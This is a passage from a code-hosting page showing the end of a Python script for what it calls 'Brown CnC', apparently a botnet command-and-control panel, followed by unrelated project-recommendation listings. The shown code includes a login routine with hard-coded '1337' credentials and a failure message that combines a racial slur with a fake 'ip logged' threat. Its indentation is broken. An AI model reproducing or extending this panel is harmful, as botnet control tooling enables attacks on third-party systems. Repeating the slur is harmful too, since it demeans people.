         β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•©β•β•β•©β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•©β•β•β•β•©β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

        ''')
    else:
        try:
            cmmnd = cnc.split()[0]
            print("Command: [ " + cmmnd + " ] Not Found!")
        except IndexError:
            pass

def login():
clear()
user = "1337"
passwd = "1337"
username = input("</> Username: ")
password = getpass.getpass(prompt='</> Password: ')
if username != user or password != passwd:
print("")
print("</> ip logged nigger.")
sys.exit(1)
elif username == user and password == passwd:
print("</> Welcome to Brown CnC!")
time.sleep(0.3)
ascii_vro()
main()

login()

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.